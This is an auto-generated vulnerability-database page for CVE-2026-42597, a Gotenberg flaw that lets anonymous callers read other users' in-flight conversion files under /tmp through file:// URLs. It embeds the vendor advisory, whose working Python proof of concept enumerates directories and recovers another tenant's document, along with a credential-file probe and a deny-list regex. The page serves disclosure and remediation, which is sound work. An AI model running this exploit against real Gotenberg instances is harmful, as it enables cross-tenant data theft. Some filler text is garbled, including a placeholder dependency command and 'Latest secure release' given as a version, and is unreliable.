CVE-2026-42597: Github.com/gotenberg/gotenberg/v8 // Scheme Vulnerability

MODERATE
Advisory Identifier: GHSA-g924-cjx7-2rjw
CVSS 5.9
CWE-73 CWE-918
Published
Advisory Summary

CVE-2026-42597 is a MODERATE (CVSS 5.9) // scheme vulnerability (CWE-73: External Control of File Name or Path) affecting Github.com/gotenberg/gotenberg/v8 libraries in the Go ecosystem. The issue involves // scheme. Remediation is available by upgrading affected packages to version 8.32.0.

CVE-2026-42597 at a Glance

CVE Identifier CVE-2026-42597
GHSA Identifier GHSA-g924-cjx7-2rjw
Severity MODERATE
CVSS v3.1 Base Score 5.9
CWE Classification CWE-73: External Control of File Name or Path
Affected Product Github.com/gotenberg/gotenberg/v8
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 5.9

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-42597

To remediate this vulnerability, upgrade all affected Github.com/gotenberg/gotenberg/v8 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/gotenberg/gotenberg/v8 fixed: 8.32.0
Upgrade github.com/gotenberg/gotenberg/v8 to 8.32.0
github.com/gotenberg/gotenberg/v7 fixed: Latest secure release
Upgrade github.com/gotenberg/gotenberg/v7 to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/gotenberg/gotenberg/v8

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-42597, inspect your project dependencies for Github.com/gotenberg/gotenberg/v8:

inspect dependencies for github.com/gotenberg/gotenberg/v8

Analyze the terminal output to locate any version of Github.com/gotenberg/gotenberg/v8 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 8.32.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-73: External Control of File Name or Path, where the product allows user input to control or influence paths or file names that are used in filesystem operations. In Github.com/gotenberg/gotenberg/v8, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `/forms/chromium/convert/url` and `/forms/chromium/screenshot/url` routes accept `url=file:///tmp/...` from anonymous callers. The default Chromium deny-list intentionally exempts `file:///tmp/` so HTML/Markdown routes can load their own request-local assets, and those routes apply a per-request `AllowedFilePrefixes` guard to scope the read. The URL routes never set `AllowedFilePrefixes`, so the scope guard silently skips. Alice enumerates `/tmp/`, walks Gotenberg's per-request working directories, and reads the raw source files of other in-flight conversions as rendered PDF output. ## Details The default deny-list regex at `pkg/modules/chromium/chromium.go:449` uses a negative lookahead to exempt `/tmp/`: ```go fs.StringSlice("chromium-deny-list", []string{`^file:(?!//\/tmp/).*`}, "Set the denied URLs for Chromium using regular expressions - supports multiple values") ``` `pkg/gotenberg/outbound.go:185-187` short-circuits IP validation for non-HTTP schemes: ```go if !httpLikeScheme(parsed.Scheme) { return outboundDecision{}, nil } ``` So any `file:///tmp/...` URL passes `FilterOutboundURL` cleanly. The HTML route pairs the exemption with a per-request scope guard (`pkg/modules/chromium/routes.go:518`): ```go options.AllowedFilePrefixes = []string{ctx.DirPath()} ``` and the CDP `Fetch.requestPaused` handler enforces the scope (`pkg/modules/chromium/events.go:65-78`): ```go if allow && strings.HasPrefix(e.Request.URL, "file://") && len(options.allowedFilePrefixes) > 0 { prefixMatch := false for _, prefix := range options.allowedFilePrefixes { if strings.HasPrefix(e.Request.URL, "file://"+prefix) { prefixMatch = true break } } if !prefixMatch { allow = false } } ``` The `len(options.allowedFilePrefixes) > 0` condition skips the entire enforcement block when the slice is empty. The URL route handler at `pkg/modules/chromium/routes.go:406-448` (`convertUrlRoute`) never populates `AllowedFilePrefixes`. `MandatoryString("url", &url)` takes the form value without scheme validation and passes it to `convertUrl` → `chromium.Pdf` → Chromium navigation. Gotenberg stores uploaded request assets at `/tmp/<gotenberg-work-uuid>/<request-uuid>/<file-uuid>.<ext>` (`pkg/gotenberg/fs.go:64-65`). Chromium renders the targeted `file://` URL as a PDF and the response body returns to the caller. ## Proof of Concept Reproduction uses the stock Docker image with no auth: ```bash docker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8 ``` Python script. Alice attacks, Bob runs a slow legitimate conversion whose request directory stays alive long enough for Alice to locate it. `waitDelay=15s` stands in for any naturally slow convert (large DOCX, multi-page HTML with external fetches, LibreOffice rendering a complex spreadsheet): ```python import requests, threading, time, subprocess, re TARGET = "http://localhost:3000" SECRET = f"BOB-CROSS-REQ-LEAK-{int(time.time())}" bob_html = f"<html><body><h1>{SECRET}</h1></body></html>".encode() def bob_runs(): requests.post( f"{TARGET}/forms/chromium/convert/html", files={"files": ("index.html", bob_html, "text/html")}, data={"waitDelay": "15s"}, timeout=60, ) def alice_reads(url): r = requests.post( f"{TARGET}/forms/chromium/convert/url", files={"url": (None, url)}, timeout=30, ) if r.status_code != 200: return None open("/tmp/_alice.pdf", "wb").write(r.content) return subprocess.run( ["pdftotext", "/tmp/_alice.pdf", "-"], capture_output=True, text=True, ).stdout threading.Thread(target=bob_runs, daemon=True).start() time.sleep(2) # Step 1: list /tmp/ to discover the gotenberg work UUID tmp = alice_reads("file:///tmp/") work = re.search(r"([0-9a-f-]{36})", tmp).group(1) # Step 2: walk into the work dir to find an in-flight request dir wd = alice_reads(f"file:///tmp/{work}/") for req in re.findall(r"([0-9a-f-]{36})", wd): if req == work: continue rd = alice_reads(f"file:///tmp/{work}/{req}/") if rd and (m := re.search(r"([0-9a-f-]{36}\.html)", rd)): # Step 3: read bob's uploaded HTML txt = alice_reads(f"file:///tmp/{work}/{req}/{m.group(1)}") print("SECRET recovered:", SECRET in txt) break # Sanity: /etc/passwd stays blocked (deny-list holds outside /tmp) r = requests.post(f"{TARGET}/forms/chromium/convert/url", files={"url": (None, "file:///etc/passwd")}, timeout=30) print(f"/etc/passwd probe: HTTP {r.status_code}") # 403 Forbidden ``` Output against gotenberg 8.31.0: ``` SECRET recovered: True /etc/passwd probe: HTTP 403 ``` `file:///tmp/` directory enumeration works on every request, unconditionally. Cross-request content read depends on timing: Alice needs the victim's request dir alive when she walks to it. Long-running legitimate conversions (large inputs, external HTTP fetches, explicit `waitDelay`) widen the window from milliseconds to seconds. ## Impact An unauthenticated caller enumerates `/tmp/` on the Gotenberg host and reads the raw source files of other users' conversion requests while those requests are in flight. Content types include uploaded HTML, Markdown, Office documents awaiting LibreOffice conversion, and output PDFs staged for webhook delivery. The rendered file returns to the attacker as a PDF. In a multi-tenant deployment where multiple users submit documents to the same Gotenberg instance, cross-tenant document exfiltration is possible whenever the attacker wins the timing race against a victim's request lifecycle. Directory enumeration itself (the work-UUID and per-request-UUID structure) is available regardless of timing. The deny-list regex holds for paths outside `/tmp/`. `file:///etc/passwd`, `file:///proc/self/environ`, and similar targets return HTTP 403. The primitive is scoped to `/tmp/`, not arbitrary filesystem read. ## Recommended Fix Remove the `len(options.allowedFilePrefixes) > 0` condition at `pkg/modules/chromium/events.go:65` so URL routes block every `file://` sub-resource by default: ```go if allow && strings.HasPrefix(e.Request.URL, "file://") { if len(options.allowedFilePrefixes) == 0 { allow = false } else { prefixMatch := false for _, prefix := range options.allowedFilePrefixes { if strings.HasPrefix(e.Request.URL, "file://"+prefix) { prefixMatch = true break } } if !prefixMatch { allow = false } } } ``` Equivalent alternative: reject non-`http`/`https` schemes in the URL route handlers (`convertUrlRoute`, `screenshotUrlRoute`) before handing the URL to Chromium. --- *Found by [aisafe.io](https://aisafe.io)*

CVE-2026-42597 Affected Github.com/gotenberg/gotenberg/v8 Versions

2 component(s)
Fixed Versions:
8.32.0
Product / Package Ecosystem Affected Versions Fixed Version
github.com/gotenberg/gotenberg/v8
Go
< 8.32.0
8.32.0
github.com/gotenberg/gotenberg/v7
Go
≤ 7.10.2

References

Frequently Asked Questions

What is CVE-2026-42597?
CVE-2026-42597 is a security vulnerability in Github.com/gotenberg/gotenberg/v8 involving // scheme under CWE-73: External Control of File Name or Path.
Which Github.com/gotenberg/gotenberg/v8 versions are affected?
Affected versions include releases prior to 8.32.0 across affected packages: github.com/gotenberg/gotenberg/v8, github.com/gotenberg/gotenberg/v7.
What version fixes CVE-2026-42597?
Upgrading to 8.32.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/gotenberg/gotenberg/v8 affected?
Yes, github.com/gotenberg/gotenberg/v8 is affected in releases prior to 8.32.0. Upgrade your dependency to 8.32.0 or later.
Is github.com/gotenberg/gotenberg/v7 affected?
Yes, github.com/gotenberg/gotenberg/v7 is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-42597?
CVE-2026-42597 has a CVSS v3.1 base score of 5.9 (MODERATE) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N.
What CWE is associated with CVE-2026-42597?
CVE-2026-42597 is classified under CWE-73: External Control of File Name or Path (The product allows user input to control or influence paths or file names that are used in filesystem operations.).
How can I check Go dependencies for CVE-2026-42597?
Run the dependency tree command: 'inspect dependencies for github.com/gotenberg/gotenberg/v8'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-g924-cjx7-2rjw",
  "modified" : "2026-07-21T14:34:24Z",
  "published" : "2026-05-07T01:15:47Z",
  "aliases" : [ "CVE-2026-42597" ],
  "summary" : "Gotenberg allows Chromium URL conversion routes to read arbitrary files under /tmp via file:// scheme",
  "details" : "## Summary\n\nThe `/forms/chromium/convert/url` and `/forms/chromium/screenshot/url` routes accept `url=file:///tmp/...` from anonymous callers. The default Chromium deny-list intentionally exempts `file:///tmp/` so HTML/Markdown routes can load their own request-local assets, and those routes apply a per-request `AllowedFilePrefixes` guard to scope the read. The URL routes never set `AllowedFilePrefixes`, so the scope guard silently skips. Alice enumerates `/tmp/`, walks Gotenberg's per-request working directories, and reads the raw source files of other in-flight conversions as rendered PDF output.\n\n## Details\n\nThe default deny-list regex at `pkg/modules/chromium/chromium.go:449` uses a negative lookahead to exempt `/tmp/`:\n\n```go\nfs.StringSlice(\"chromium-deny-list\",\n    []string{`^file:(?!//\\/tmp/).*`},\n    \"Set the denied URLs for Chromium using regular expressions - supports multiple values\")\n```\n\n`pkg/gotenberg/outbound.go:185-187` short-circuits IP validation for non-HTTP schemes:\n\n```go\nif !httpLikeScheme(parsed.Scheme) {\n    return outboundDecision{}, nil\n}\n```\n\nSo any `file:///tmp/...` URL passes `FilterOutboundURL` cleanly.\n\nThe HTML route pairs the exemption with a per-request scope guard (`pkg/modules/chromium/routes.go:518`):\n\n```go\noptions.AllowedFilePrefixes = []string{ctx.DirPath()}\n```\n\nand the CDP `Fetch.requestPaused` handler enforces the scope (`pkg/modules/chromium/events.go:65-78`):\n\n```go\nif allow && strings.HasPrefix(e.Request.URL, \"file://\") && len(options.allowedFilePrefixes) > 0 {\n    prefixMatch := false\n    for _, prefix := range options.allowedFilePrefixes {\n        if strings.HasPrefix(e.Request.URL, \"file://\"+prefix) {\n            prefixMatch = true\n            break\n        }\n    }\n    if !prefixMatch {\n        allow = false\n    }\n}\n```\n\nThe `len(options.allowedFilePrefixes) > 0` condition skips the entire enforcement block when the slice is empty. The URL route handler at `pkg/modules/chromium/routes.go:406-448` (`convertUrlRoute`) never populates `AllowedFilePrefixes`. `MandatoryString(\"url\", &url)` takes the form value without scheme validation and passes it to `convertUrl` → `chromium.Pdf` → Chromium navigation.\n\nGotenberg stores uploaded request assets at `/tmp/<gotenberg-work-uuid>/<request-uuid>/<file-uuid>.<ext>` (`pkg/gotenberg/fs.go:64-65`). Chromium renders the targeted `file://` URL as a PDF and the response body returns to the caller.\n\n## Proof of Concept\n\nReproduction uses the stock Docker image with no auth:\n\n```bash\ndocker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8\n```\n\nPython script. Alice attacks, Bob runs a slow legitimate conversion whose request directory stays alive long enough for Alice to locate it. `waitDelay=15s` stands in for any naturally slow convert (large DOCX, multi-page HTML with external fetches, LibreOffice rendering a complex spreadsheet):\n\n```python\nimport requests, threading, time, subprocess, re\nTARGET = \"http://localhost:3000\"\nSECRET = f\"BOB-CROSS-REQ-LEAK-{int(time.time())}\"\n\nbob_html = f\"<html><body><h1>{SECRET}</h1></body></html>\".encode()\n\ndef bob_runs():\n    requests.post(\n        f\"{TARGET}/forms/chromium/convert/html\",\n        files={\"files\": (\"index.html\", bob_html, \"text/html\")},\n        data={\"waitDelay\": \"15s\"},\n        timeout=60,\n    )\n\ndef alice_reads(url):\n    r = requests.post(\n        f\"{TARGET}/forms/chromium/convert/url\",\n        files={\"url\": (None, url)}, timeout=30,\n    )\n    if r.status_code != 200: return None\n    open(\"/tmp/_alice.pdf\", \"wb\").write(r.content)\n    return subprocess.run(\n        [\"pdftotext\", \"/tmp/_alice.pdf\", \"-\"],\n        capture_output=True, text=True,\n    ).stdout\n\nthreading.Thread(target=bob_runs, daemon=True).start()\ntime.sleep(2)\n\n# Step 1: list /tmp/ to discover the gotenberg work UUID\ntmp = alice_reads(\"file:///tmp/\")\nwork = re.search(r\"([0-9a-f-]{36})\", tmp).group(1)\n\n# Step 2: walk into the work dir to find an in-flight request dir\nwd = alice_reads(f\"file:///tmp/{work}/\")\nfor req in re.findall(r\"([0-9a-f-]{36})\", wd):\n    if req == work: continue\n    rd = alice_reads(f\"file:///tmp/{work}/{req}/\")\n    if rd and (m := re.search(r\"([0-9a-f-]{36}\\.html)\", rd)):\n        # Step 3: read bob's uploaded HTML\n        txt = alice_reads(f\"file:///tmp/{work}/{req}/{m.group(1)}\")\n        print(\"SECRET recovered:\", SECRET in txt)\n        break\n\n# Sanity: /etc/passwd stays blocked (deny-list holds outside /tmp)\nr = requests.post(f\"{TARGET}/forms/chromium/convert/url\",\n    files={\"url\": (None, \"file:///etc/passwd\")}, timeout=30)\nprint(f\"/etc/passwd probe: HTTP {r.status_code}\")  # 403 Forbidden\n```\n\nOutput against gotenberg 8.31.0:\n\n```\nSECRET recovered: True\n/etc/passwd probe: HTTP 403\n```\n\n`file:///tmp/` directory enumeration works on every request, unconditionally. Cross-request content read depends on timing: Alice needs the victim's request dir alive when she walks to it. Long-running legitimate conversions (large inputs, external HTTP fetches, explicit `waitDelay`) widen the window from milliseconds to seconds.\n\n## Impact\n\nAn unauthenticated caller enumerates `/tmp/` on the Gotenberg host and reads the raw source files of other users' conversion requests while those requests are in flight. Content types include uploaded HTML, Markdown, Office documents awaiting LibreOffice conversion, and output PDFs staged for webhook delivery. The rendered file returns to the attacker as a PDF. In a multi-tenant deployment where multiple users submit documents to the same Gotenberg instance, cross-tenant document exfiltration is possible whenever the attacker wins the timing race against a victim's request lifecycle. Directory enumeration itself (the work-UUID and per-request-UUID structure) is available regardless of timing.\n\nThe deny-list regex holds for paths outside `/tmp/`. `file:///etc/passwd`, `file:///proc/self/environ`, and similar targets return HTTP 403. The primitive is scoped to `/tmp/`, not arbitrary filesystem read.\n\n## Recommended Fix\n\nRemove the `len(options.allowedFilePrefixes) > 0` condition at `pkg/modules/chromium/events.go:65` so URL routes block every `file://` sub-resource by default:\n\n```go\nif allow && strings.HasPrefix(e.Request.URL, \"file://\") {\n    if len(options.allowedFilePrefixes) == 0 {\n        allow = false\n    } else {\n        prefixMatch := false\n        for _, prefix := range options.allowedFilePrefixes {\n            if strings.HasPrefix(e.Request.URL, \"file://\"+prefix) {\n                prefixMatch = true\n                break\n            }\n        }\n        if !prefixMatch {\n            allow = false\n        }\n    }\n}\n```\n\nEquivalent alternative: reject non-`http`/`https` schemes in the URL route handlers (`convertUrlRoute`, `screenshotUrlRoute`) before handing the URL to Chromium.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/gotenberg/gotenberg/v8"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "8.32.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 8.31.0"
    }
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/gotenberg/gotenberg/v7"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "7.10.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-g924-cjx7-2rjw"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42597"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/gotenberg/gotenberg"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-73", "CWE-918" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-07T01:15:47Z",
    "nvd_published_at" : "2026-05-14T16:16:23Z"
  }
}